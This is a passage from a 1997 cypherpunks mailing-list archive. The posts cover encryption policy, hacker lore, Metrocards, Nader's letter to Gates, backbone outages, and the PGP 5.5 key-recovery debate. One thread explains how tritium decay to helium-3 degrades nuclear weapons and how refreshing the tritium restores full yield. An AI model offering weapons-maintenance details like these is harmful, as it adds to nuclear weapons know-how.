              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)

-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNDqoyn35wubxKSepEQJ9FQCfQcaS8aWdXcTZild0nKe5+LatDRsAnA5n
GTIb2dYUx4+Uh/Frim2hKFuF
=4u2g
-----END PGP SIGNATURE-----


-----
Jon Callas                                         jon@pgp.com
Chief Scientist                                    555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                          Suite 570
(415) 596-1960                                     Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lyle Seaman <lws@transarc.com>
Date: Wed, 8 Oct 1997 03:51:09 +0800
To: jbugden@alis.com
Subject: Re: Four horsemen skew Internet
Message-ID: <2.2.32.19971007193520.00e03de0@mailhost.transarc.com>
MIME-Version: 1.0
Content-Type: text/plain



This is an off-topic rant.  Anyone who wants to make me happy will convince
the NYT to investigate the following question:

How did Magaziner get to be "Clinton's Top Internet Adviser"?

Last I knew, he was the Clintons' "Top Health Care Adviser".
That is, after he was Rick Miller's  $1k/hr "Top Wang Labs Turnaround
Adviser", 1 year before they declared bankruptcy.  For a guy with such a
string of successes, he seems to keep popping up someplace new.

At 01:33 PM 10/7/97 -0500, jbugden@alis.com wrote:
>
>Excerpted from the following NY Times article:
>
>http://www.nytimes.com/library/cyber/week/100797encrypt.html
>
>Clinton's Top Internet Adviser Says
>U.S. Encryption Policy Is Unformed
>
>Magaziner took The New York Times and The Wall Street Journal to task for what
>he characterized as sensationalizing negative aspects of the Internet. An
>analysis of the newspapers' front-page coverage of the global computer network
>in the last year, he said, revealed that the four most popular words or phrases
>in such articles were "drug deal," "stalker," "bomb maker" and "pornography."
>Such coverage, he asserted, had led to a popular image of the Internet that was
>fundamentally skewed and that made arguing for market-driven solutions
>difficult. 
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Wed, 8 Oct 1997 02:04:46 +0800
To: Peter Trei <cypherpunks@cyberpass.net>
Subject: Good Old Mel ...the penultimate hacker
In-Reply-To: <199710071346.GAA11853@toad.com>
Message-ID: <1997.130bbba.2783a.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    reference to Peter Trei's posting of Mel's super blackjack game.
    
    Mel was living in a Warner Center condo off Topanga Canyon Blvd in 
    Woodland Hills CA the last time I had contact with him which is at 
    least 10 years, before the earthquake which did significant damage 
    to that area. I checked my old databases for his number, but it
    did not pop out, but I can not scan all...

    I can only presume Mel is still among the living as he must be
    about 10 years older than I which makes him 67+, and he had put 
    some hard milage on by the time I first met him in '77:  I took
    over, as a corporate hatchet, in a recently purchased division
    (nee: small company), a deeply troubled bleeding edge DC to daylight
    bandwidth test instrument program -- and inherited Mel.

    at the time, when the weather was good, Mel would arrive in a bright
    red Mercedes 450SL; and, Mel is not small. it seems Mel had traded
    his wife in on the car --said it was "...cheaper." Mel's regular
    mode was a 20 year old collection of baling wire.
    
    the project had DGs so the drums were gone -just 5Mb removable 
    packs. personally, I never saw a Royal-McBee, but I remember IBM 
    drums: 250K bytes on the 31 gal barrel size!

    I thought I was a pretty mean assembly hack --until I met Mel. I 
    hired him in on other projects I was salvaging for other companies 
    later. his coding style had not changed over the ensuing years: it 
    worked, but it was virtually incomprehensible to the new generation 
    of hot shots --only to us old farts who had survived by our wits and 
    the "cheating" --sort of like turning assembly language into Forth.

    most of us lived in a different world of hacker "social" ethics:

     "Go not unto Usenet for advice, for the inhabitants will say 
        yes, and no, and maybe, and I don't know, and fuck off, and...."
            --attila

    well, I *am* old enough to be father to most of you, and for the 
    really wet behind the ears crowd, probably even your grandfather.
    and I have the nicks and cuts to go with it. 

    ...when unix was a pdp11/45 with three stack registers, bocu 
    bucks/month maintenance to DEC for only 64K instruction and 64K data
    space, and RP4 (if you were lucky) washing machine drives...

    there was a time when "hacker" was a BADGE OF HONOUR, until some
    asshole sensationalist from Time Magazine or the NY Times had to
    apply "hacker" to Morris and his runaway worm, which started Morris
    down the road to crucifixion for the public good. 

    so, despite the behaviour of a few bad apples:

        a hacker is a professional in his own world 
        a hacker's only language is AFL 
        a cracker is a criminal.

    *****at least fifteen years ago, this was making the rounds:

    1>  What do 'hackers' and 'real programmers' look like?
    
        No-one knows, they're like graffitists.

    2>  What do hackers eat?

        ... Diet Pepsi, Corndogs, etc.

    3>  What kind of things do hackers do with computers?

        Hackers patch and tweak, Programmers code and debug.

    4>  What kind of computers do hackers use?

        Anything that's available. (they don't always like them)

    5>  Where do hackers live, and what kind of place is it in which 
        they reside?

        In or near 'The Valley' (pick one) Usually in a rented house, 
        and in a mess of misc. hardware, listings, Mass media, and food
        wrappings.

    6>  Where do hackers come from?  (High schools, colleges, etc.)

        Most are self taught while going to school for some other 
        vocation.

    7>  What languages do hackers use?

        Hackers: whatever's available, including HEX and OCTAL,
        occasionally BINARY. 

        Programmers: C, assemblers, Forth, Lisp, Apl

    7a> What languages do they hackers use?

        Hackers: none   
        Programmers: Basic, Cobol, Fortran, RPG, Algol, Logo

    8>  In what environment do they function best?

        Late at night with low light levels. (except for the CRTs)

    9>  what kind of computer is for *real* men?

        Real men don't waste valuable time on Intel 86 family assembly 
        code.

    a>  What makes you respond in such a way?

        The philosophy: 'Less is More', or if I might quote Albert 
        Einstein: "Everything should be made as simple as possible,
        but not simpler" 

    and that my friends, is the difference a code of honour makes....
____________________________________________________________________________
 "In nature, stupidity gets you killed.
   In the workplace, it gets you promoted.
    In politics, it gets you re-elected."
        --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNDp3Yr04kQrCC2kFAQH6/QQAr9mWc9upwAcmcg+iMwVOjTbMvO9rgtxv
dLOCaHiWkeXWhc+goFHGc87vsjCfb7W0TcRGE3cG6F5DnMRR8/nUwT4iVyIshjWC
bv5Puf49zbfdL11Gu/0jKvl81Z2rna31P5o6AOEkEzLTxJsLKMnDyXHQtPsobfKj
9BNUDXAEoUI=
=WoYN
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Oct 1997 07:35:31 +0800
To: cypherpunks@toad.com
Subject: Re: stored value cards in NYC - Motorola PR fluff.
In-Reply-To: <Pine.BSI.3.91.971007125440.2431X-100000@ivan.iecc.com>
Message-ID: <eB28De1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



John R Levine <johnl@iecc.com> writes:

> > Anybody on the list know more about this project?  ("...one of the largest
> > and most exciting..." :-)  The puff piece has some contact info, but I don'
> > expect to get anything useful from them.
> 
> This could be interesting.  NYC already has stored value cards called
> Metrocards which you can use for subway and bus fares.  The MTA has tried
> with little success to get newsstands and other vendors of low-price high
> volume stuff to take them.  Physically they're just thin plastic cards with
> the usual magnetic stripe, nothing fancy.  They permit variable sized
> decrements and are rechargable, so their design must be reasonably
> sophisticated.

They suck.  I'm sticking to tokens.

> 
> I read somewhere in an account of an NYC hackerfest that the Metrocards 
> have been subjected to intense hacking but they apparently remain secure.

They can't be all that secure... Bruce Schneier helped design the crypto.
Schneier is to cryptography that Schildt is to C programmin.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@alis.com
Date: Wed, 8 Oct 1997 05:00:02 +0800
Subject: RE: Four horsemen skew Internet
Message-ID: <9710078762.AA876257157@alis-1.alis.com>
MIME-Version: 1.0
Content-Type: text/plain




While I'm not too concerned about your present state of happiness, if you read
the cited article, you may find that it is less off-topic than you thought. The
quote was chosen as a "text-bite" that - while echoing sentiments familiar to
many people on this list - is seldom heard from within the US administration.

Magaziner's often been good for politically inopportune statements. 
To quote from an article in a Canadian business newspaper in late July:

"Ira Magaziner, Clinton's international emissary on the issue of how governments
should respond to the explosive growth of business on the Net, said any attempt
to regulate its content would not only be a mistake, it would be futile."

Let's wish him success in his current endeavours, ;-)

-----Original Message-----
From:   Lyle Seaman <lws@transarc.com>  
Sent:   Tuesday, October 07, 1997 3:35 PM
To:     James Bugden
Cc:     cypherpunks@toad.com
Subject:        Re: Four horsemen skew Internet 

This is an off-topic rant.  Anyone who wants to make me happy will convince
the NYT to investigate the following question:

How did Magaziner get to be "Clinton's Top Internet Adviser"?

Last I knew, he was the Clintons' "Top Health Care Adviser".
That is, after he was Rick Miller's  $1k/hr "Top Wang Labs Turnaround
Adviser", 1 year before they declared bankruptcy.  For a guy with such a
string of successes, he seems to keep popping up someplace new.

At 01:33 PM 10/7/97 -0500, jbugden@alis.com wrote:
>
>Excerpted from the following NY Times article:
>
>http://www.nytimes.com/library/cyber/week/100797encrypt.html
>
>Clinton's Top Internet Adviser Says
>U.S. Encryption Policy Is Unformed
>
>Magaziner took The New York Times and The Wall Street Journal to task for what
>he characterized as sensationalizing negative aspects of the Internet. An
>analysis of the newspapers' front-page coverage of the global computer network
>in the last year, he said, revealed that the four most popular words or phrases
>in such articles were "drug deal," "stalker," "bomb maker" and "pornography."
>Such coverage, he asserted, had led to a popular image of the Internet that was
>fundamentally skewed and that made arguing for market-driven solutions
>difficult. 
>
>
>








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 8 Oct 1997 06:19:09 +0800
To: cypherpunks@cyberpass.net
Subject: Nader Letter to Bill Gates
Message-ID: <v031107b5b060516c84e4@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



Yet another spit take arrives in the e-mail.

This seems to be another great week for hilarity...

Cheers,
Bob Hettinga

--- begin forwarded text


Date: Tue, 7 Oct 1997 13:21:43 -0400 (EDT)
Reply-To: love@cptech.org
Originator: info-policy-notes@essential.org
Sender: info-policy-notes@essential.org
Precedence: bulk
From: James Love <love@cptech.org>
To: Multiple recipients of list <info-policy-notes@essential.org>
Subject: Nader Letter to Bill Gates
MIME-Version: 1.0

The following in Ralph Nader's letter to Bill Gates, inviting him to
Ralph's November 13, 14 conference on Apprasising Microsoft's Global
Stategy.
   Jamie

-----------------------------------------------------------------------
                       Ralph Nader
                    P.O. Box 19312
                 Washington, D.C. 20036

October 2, 1997

Mr. William H. Gates
Chairman and Chief Executive Officer
Microsoft Corporation
1 Microsoft Way
Redmond, WA 98052


Dear Mr. Gates:

The customary executive mind receiving a letter such as this would be
inclined toward prejudgment and denial, instead of anticipation and
affirmation. But as a dominant corporate architect and philosopher of
the information highway--note your expressed desire in your book, The
Road Ahead, to open the dialogue about how society should shape its
future in an age of tremendous technological change--you should be
willing to include in that dialogue--Appraising Microsoft and Its Global
Strategy.

That, as it happens, is the title of a conference in Washington, D.C. on
November 13 and 14, which Essential Information and I are sponsoring and
to which you are invited to make a presentation. Let me describe briefly
what has led to this unique event.

As you may know, our various groups work in the consumer safety and
environmental protection areas with a dual focus on both corporate and
government accountability. We also have been pioneers in advancing
freedom of information standards in government and widening the access
to justice by all citizens. Concentration of economic power, along with
its abuses, has long been a concern of ours and we have worked with many
people of conscience inside companies, some of whom became effective
whistle-blowers. Recently, people in many different kinds of businesses
have been expressing fear and criticism about your company's business
practices and strategies. At first, we were prone to dismissing such
complaints as reflecting envy toward the dominant company. But as the
private criticism became more diverse--flowing from downstream commerce
well beyond software and hardware companies and from more disinterested
scholars, commentators, writers, public officials and customers, it
became an incentive toward further public exploration.

Even this accumulated criticism did not suffice to warrant a gathering
to explicitly explore the many forays and practices of your company's
business strategies, which you must agree, have a range of ambitions and
ongoing initiatives in more industrial and commercial directions locally
to globally than possibly any business entity in modern history. What
tipped the scale was the fear of speaking out by thoughtful people in
the business world who otherwise have the position, energy and the
resources to do so. Self-censorship brought on by the detailed fear of
Microsoft retaliation--itself seen as a many pronged cluster--is not
healthy in any economy. Especially when this fear is not imagined but
rooted in past and current actions which are described and attributed to
your company's high velocity momentum.

On the other hand, you and your associates are described as so fearful
of becoming another Digital Equipment or IBM missing a "big bend in the
road", as you put it, that you are moving to position yourself as the
"new middleman" on every lane of the information highway possible. To
some observers, Microsoft playing the insecure and challenged role, as
depicted in an article you may have relished on the cover of Barron's
(September 15, 1997), assumes an irony of King Kong proportions.
Seasoned executives are quaking before the relentless Microsoft wave in
such lines of commerce as banking, real estate, insurance, car dealers,
travel services, cable television, newspaper media and entertainment.
The June 5, 1997 issue of the Wall Street Journal reported a detailed
Microsoft strategy memorandum, deepened by interviews with your
executives, that foreshadowed the "first a partner then a competitor"
approach. Your critics assert that using a bundling strategy, together
with tactical free offerings, made possible by monopolistically garnered
profits, and a punitive "stick" response to your challengers makes
Microsoft a leading candidate for antitrust action if only the
enforcement agencies had the up-to-date knowledge, willpower and
resources to apply these necessary laws for a free, fair and competitive
economy.

The conference participants are among the few who are still willing to
speak openly of their concerns, findings and recommendations. Many plead
for an open, not closed, architecture, for a digital future that is a
patrimony, a commonwealth within which the best and the most
consumer-sensitive will have an opportunity to prevail. They seek an
information highway that is ungated where they see such a highway
increasingly become gated.

You, Steve Ballmer and Nathan Myhrvold have what you believe to be
formidable responses to these declarations. Responses that are both
specific and that rise to the level of national public policy regarding
the information infrastructure in the economy. Focusing on the "Big Kid
on the Block"--Microsoft--addresses the core concern directly and avoids
the nuanced generalities and abstractions that have no operational
realities attached to them.

The agenda for the conference is being completed and includes the
enclosed topics with the speakers who have confirmed their presence.
Other presenters will be added in the coming days. In the interest of
joining the issues, your presentation should come near the completion of
the conference on November 14. We intend to have a serious, coherent and
consequential conference that will lead to greater public understanding
of the trends and the issues that will affect business and the general
public as you wrote about in The Road Ahead. Your industry is thrusting
toward increasing arcane language, acronyms and specializations that are
narrowing the public or lay audience which, ever enlarging, is critical
in making this technology serve the broadest of human interest and
well-being.

We are inviting Vice President Albert Gore, your friend and information
highway colleague, to participate in the conference. Being an open
gathering and near his office, his presence would neither entail the
cost, time and closed-door nature of his earlier visit to your 100
executives meeting near Seattle. This should increase the likelihood of
his acceptance, one might hope.

Should you wish to discuss this invitation further, please call me or
John Richard of Essential Information at (202)387-8034. Of course, you
may wish to have other Microsoft executives attend the conference and
they are welcome to come and absorb the many currents of information and
activity, both in the formal sessions and in the informal corridor and
coffee break discussions that are often so valuable. While there is a
conference fee, there is no outside funding or sponsorship to inhibit or
compromise the integrity of the proceedings.

Sincerely,



Ralph Nader

Enclosure

--------------------------------------------------------------------
This some other documents about the conference are on the Web at:

        http://www.essential.org/appraising/microsoft/




--
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | http://www.cptech.org
voice 202.387.8030 | fax 202.234.5176 | love@cptech.org

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 8 Oct 1997 06:23:23 +0800
To: Lyle Seaman <jbugden@alis.com
Subject: Re: Four horsemen skew Internet
In-Reply-To: <2.2.32.19971007193520.00e03de0@mailhost.transarc.com>
Message-ID: <v031107bdb06056eecfe4@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:35 pm -0400 on 10/7/97, Lyle Seaman wrote:


> Last I knew, he was the Clintons' "Top Health Care Adviser".
> That is, after he was Rick Miller's  $1k/hr "Top Wang Labs Turnaround
> Adviser", 1 year before they declared bankruptcy.  For a guy with such a
> string of successes, he seems to keep popping up someplace new.

So, what you're telling us is, having Good Ol' Ira in charge of crypto is
*good* news...

"There's no law like *no* law" and all that...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@best.com>
Date: Tue, 7 Oct 1997 20:38:00 +0800
To: cypherpunks@toad.com (Cypherpunks)
Subject: [news] TimeStep introduces large-scale security solution for VPNs
Message-ID: <199710071740.RAA00234@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



TimeStep Corp. Monday introduced PERMIT Enterprise, the first secure
virtual private network (VPN) solution capable of large-scale
business communications over the Internet. By integrating
best-of-breed technologies from market leaders, PERMIT Enterprise
allows service carriers, such as ISPs and telcos, and other large
distributed organizations to create multiple secure virtual private
networks.  Supporting the Internet Protocol Security (IPSEC) standard
allows PERMIT Enterprise to operate within any network. (PR Newswire)
For the story,
http://www.infobeat.com/stories/cgi/story.cgi?id=5296539-c7a

-- 
Powell lingered. "How's Earth?" 
It was a conventional enough question and Muller gave the 
conventional answer, "Still spinning."
				      -- "Reason", Asimov. 
==================================================================
Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@best.com 	                  | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: news@sldc.ffg.com
Date: Wed, 8 Oct 1997 08:01:13 +0800
To: cypherpunks@toad.com
Subject: News from the Front (October Issue)
Message-ID: <199710072344.RAA22350@Mail.ClickBook.COM>
MIME-Version: 1.0
Content-Type: text/plain



An update to our customers and friends on happenings at 
-----------------------------------------------------------------------
F O R E F R O N T  -  Taking the Chaos out of the 'Net
http://www.ffg.com		   Newsletter  10/6/97
-----------------------------------------------------------------------
Contents:
I.	News from the 'Front
II.	Special Offer
III.	Hot Tip
-----------------------------------------------------------------------
I.  News from the 'Front

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Hedges <hedges@sirius.infonex.com>
Date: Wed, 8 Oct 1997 10:08:12 +0800
To: cypherpunks@cyberpass.net
Subject: bad alter.net routes, backbone vulnerability
Message-ID: <Pine.SOL.3.96.971007185028.4282B-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




Right now, as reported by PBI NetCenter staff, Alternet has dumped bad
routes to all of its peers. AGIS has San Diego and Los Angeles off the
air again ... for the third time today ... that's been going on for weeks.

I mentioned the WSJ receipt of report from network engineers that the
backbones are extremely vulnerable to attack, and said I guess someone's
trying to show that crypto's useful for everyone to have, postulating some
mythical encryption authentication could protect the routers from attack.
He said yup, attack on the backbone network "happens all the time."

Mark Hedges
Infonex Internet Inc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Wed, 8 Oct 1997 13:43:13 +0800
To: cypherpunks@cyberpass.net
Subject: Internet Via Electric Lines?
Message-ID: <3.0.3.32.19971007190121.030e8c68@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3985.1071713738.multipart/signed"

--Boundary..3985.1071713738.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

I heard on the ABC hourly news that some genius had figured out a way to
use electrical power lines for data transmission, so that the power grid
could be integrated into the Internet.  Does anyone have any details /
pointers?

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

Get your assault crypto before they ban it!

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Non-US PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3985.1071713738.multipart/signed
Content-Type: application/octet-stream; name="pgp00002.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00002.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IEFGNHVlUW5tNnI2
SElYTW16dS9RUGpuemNlTUhqQm4rCgppUUEvQXdVQk5Ec2E3Y0pGMGtYcXB3
M01FUUkwd2dDZlViNmhiL3podmRWRHUrYXkwSWNxVENsZUM5Y0FuM2FjCjV5
NGxyQ2QwQ25YMFc1T1JjbUtnN1Fsego9b0pFOAotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3985.1071713738.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Wed, 8 Oct 1997 13:47:51 +0800
To: Bill Frantz <cypherpunks@cyberpass.net
Subject: Re: russia_1.html
In-Reply-To: <199710061350.GAA06107@toad.com>
Message-ID: <3.0.3.32.19971007191143.00688008@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3985.1071713738.multipart/signed"

--Boundary..3985.1071713738.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 09:37 AM 10/6/97 -0700, Bill Frantz wrote:
>At 3:01 AM -0700 10/6/97, Peter Trei wrote:
>>The plutonium cores of thermonuclear devices have a limited shelf
>>life - he claimed 6 years, which jibes with what I've heard from
>>other open sources. Fission products build up in the cores which
>>can poison a chain reaction. Thus all Pu based devices need to have
>>the cores periodically removed and replaced with new ones, while the
>>old ones have to go through a non-trivial reprocessing stage to
>>remove the fission products.
>
>I think this comment is in error.  Plutonium has a half life on the order
>of 250,000 years, so very little decay products would build up in 6 years.
>The tritium used in thermonuclear weapons has a much shorter half life, and
>would need to be replaced about that often.

One of the decay products of tritium (half-life: 12.5 years) is Helium-3,
which aggressively absorbs neutrons and poisons the fission reaction of the
plutonium.  If one has access to more tritium, which is commercially
available for about US $50,000 per gram, the existing tritium can be
purified and combined with the new tritium to bring the bomb back to full
power.  If someone has the resources to obtain the bomb in the first place,
refreshing the tritium probably wouldn't be a major problem.


Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

Get your assault crypto before they ban it!

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Non-US PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3985.1071713738.multipart/signed
Content-Type: application/octet-stream; name="pgp00003.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00003.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IGlIMXNFUGVvN0dY
ZnZiU21KeGhTUFFVNlZYQkNTVXVTCgppUUEvQXdVQk5Ec2ErTUpGMGtYcXB3
M01FUUt3Y1FDZ3hDYzI3VGJyTUJzUFhXLzBNZ0YrV1ZBVUxzZ0FvSVpECk9k
Kzh2b1I4WHJhRWs1cEdHUDR3eVEvZQo9dmdqbgotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3985.1071713738.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous (via bureau42 remailer) <devnull@bureau42.ml.org>
Date: Wed, 8 Oct 1997 06:35:49 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <Pnth3E9cBuU4UC7eZ9o2iw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Nobuki Nakatuji <bd1011@hotmail.com> say:

> unperfect MISTY algorithm source code which I wrote isn't Public Domain.
> When you use it ,You need to permit from me.
> 
> 
> 
> ______________________________________________________
> Get Your Private, Free Email at http://www.hotmail.com

No no, too late. I take MISTY and use in my secret
crypto program to come out soon on Foriegn web-site.
I take MISTY and make perfect.

You go, chop chop.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Wed, 8 Oct 1997 11:36:52 +0800
To: cypherpunks@toad.com
Subject: If you want Perfect MISTY algorithm
Message-ID: <19971008032108.21717.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



If you want Perfect MISTY algorithm source code,
Please send e-mail to me.
Thank you very much.



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Wed, 8 Oct 1997 10:20:17 +0800
To: Jon Callas <minow@apple.com
Subject: Re: What's really in PGP 5.5?
Message-ID: <v0300780ab0609577728b@[209.98.13.223]>
MIME-Version: 1.0
Content-Type: text/plain



Jon Calis wrote:
>Also, we have three encryption products: PGP freeware, PGP for Personal
>Privacy, and PGP for Business Security. Corporate Message Recovery is
>included *only* in PGP for Business Security. It is not, and never will
>be, in either the freeware or the Personal Privacy product.

If this is true (and I have no reason to believe it isn't), then why is the
key escrow code written (although not turned on) in the source code for 5.0
that was posted internationally from PGP?

Makes no sense.

Bruce

>http://simson.vineyard.net/clips/96.SJMN.PGPBusinessEdition.html
....
>                             PRETTY LOOSE PRIVACY
>[...]
>   Published: April 2, 1996
>   BY SIMSON L. GARFINKEL
....
>   That has not stopped Zimmermann from complaining loudly about the PGP
>   name being used in a product that allows someone other than the author
>   or the intended recipient access to information. Viacrypt owns the
>   licensing rights to sell the commercial versions of PGP.
>
>   ''PGP does not stand for back doors,'' said Zimmermann. ''I don't mind
>   if they sell a program that has a back door in it, but they shouldn't
>   call it PGP.''
>[...]
>   ''If your employer can read your mail anytime he wants, without your
>   permission, that goes against the spirit of the PGP trademark,'' said
>   Zimmermann.


**********************************************************************
Bruce Schneier, President, Counterpane Systems     Phone: 612-823-1098
101 E Minnehaha Parkway, Minneapolis,MN  55419       Fax: 612-823-1590
                                            http://www.counterpane.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 8 Oct 1997 13:07:14 +0800
To: Jon Callas <minow@apple.com
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <3.0.3.32.19971007142710.00a22970@mail.pgp.com>
Message-ID: <v03007809b060c1553f4f@[207.94.249.179]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:27 PM -0700 10/7/97, Jon Callas wrote:
>One of the downsides of cryptography is that if you lose your passphrase
>(or token, PIN, smart card, or whatever), you've lost your data. My
>favorite way of expressing this problem is, "if you lose the keys to your
>car, then you have to get a new car."

Jon clearly states one half of the problem here.  The other half is what
seems to be below the surface in many of the responses to PGP 5.5.  That
is, how do I achieve the secure deletion of data?

When I make a telephone call, I have an expectation that the only record of
the call will be in my memory and the memory of the person at the other
end.  At one time, people recording telephone conversations were required
to include a beep every 15 seconds to notify the participants that this
expectation was being violated.  (It seems this expectation has always been
violated by law enforcement.)

Now email is a confounding medium because it is both a transient
communication medium and a storage medium.  We would like to be able to
have protection against losing access to our stored data, at the same time
we are sure that those who violate our trust and intercept our
communications can not read the data, when it is sent or at any time in the
future.

PGP 5.5 seems to have a solution to the "lose your data" problem.  It does
